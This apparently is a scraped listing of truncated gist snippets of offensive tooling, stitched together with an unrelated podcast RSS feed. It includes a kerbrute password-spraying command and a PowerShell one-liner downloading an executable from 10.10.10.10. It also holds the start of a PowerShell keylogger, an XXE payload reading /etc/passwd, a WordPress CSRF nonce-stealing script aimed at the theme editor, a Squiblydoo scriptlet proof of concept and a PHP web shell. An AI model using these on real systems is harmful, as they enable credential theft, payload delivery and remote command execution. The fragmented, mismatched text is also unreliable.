With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
With Rubeus version with brute module:
With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
With Rubeus version with brute module:
function Invoke-winPEAS | |
{ | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[ValidateNotNullorEmpty()] | |
[String] | |
$Command | |
) |
# Powershell oneliner wget (anyver) | |
# http://dann.com.br/ | |
@powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('http://10.10.10.10:7000/iw4455.exe', 'C:\windows\temp\iw4455.exe') |
<?XML version="1.0"?> | |
<scriptlet> | |
<registration | |
progid="PoC" | |
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > | |
<!-- Proof Of Concept - Casey Smith @subTee --> | |
<!-- License: BSD3-Clause --> | |
<script language="JScript"> | |
<![CDATA[ | |
<?xml version="1.0" encoding="UTF-8"?> | |
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:cc="http://web.resource.org/cc/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:media="http://search.yahoo.com/mrss/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> | |
<channel> | |
<atom:link href="http://dataskeptic.libsyn.com/rss" rel="self" type="application/rss+xml"/> | |
<title>Data Skeptic</title> | |
<pubDate>Fri, 15 Jan 2016 15:00:00 +0000</pubDate> | |
<lastBuildDate>Fri, 15 Jan 2016 15:08:58 +0000</lastBuildDate> | |
<generator>Libsyn WebEngine 2.0</generator> | |
<link>http://dataskeptic.com</link> | |
<language>en</language> |
#requires -Version 2 | |
function Start-KeyLogger($Path="$env:temp\keylogger.txt") | |
{ | |
# Signatures for API Calls | |
$signatures = @' | |
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] | |
public static extern short GetAsyncKeyState(int virtualKeyCode); | |
[DllImport("user32.dll", CharSet=CharSet.Auto)] | |
public static extern int GetKeyboardState(byte[] keystate); | |
[DllImport("user32.dll", CharSet=CharSet.Auto)] |
<?xml version="1.0" encoding="UTF-8"?> | |
<!DOCTYPE title [ <!ELEMENT title ANY > | |
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> | |
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> | |
<channel> | |
<title>The Blog</title> | |
<link>http://example.com/</link> | |
<description>A blog about things</description> | |
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate> | |
<item> |
var wpnonce = ''; | |
function getCSRFNonce(callback) | |
{ | |
var re = /<input type="hidden" id="_wpnonce" name="_wpnonce" value="(\w*)" \/>/ | |
var xhr = new XMLHttpRequest(); | |
xhr.open("GET", "http://mywordpress.com/wordpress/wordpress-475/wp-admin/theme-editor.php?file=index.php&theme=twentyseventeen", true); | |
xhr.withCredentials = true; | |
xhr.overrideMimeType('text/xml'); |
<?php session_start(); ?> | |
<?php | |
if (empty($_SESSION['path'])) { | |
$_SESSION['user'] = shell_exec('whoami'); | |
$_SESSION['host'] = shell_exec('hostname'); | |
$_SESSION['path'] = dirname(__FILE__); | |
} | |
function showInfo($cmd) { | |
$user = $_SESSION['user']; |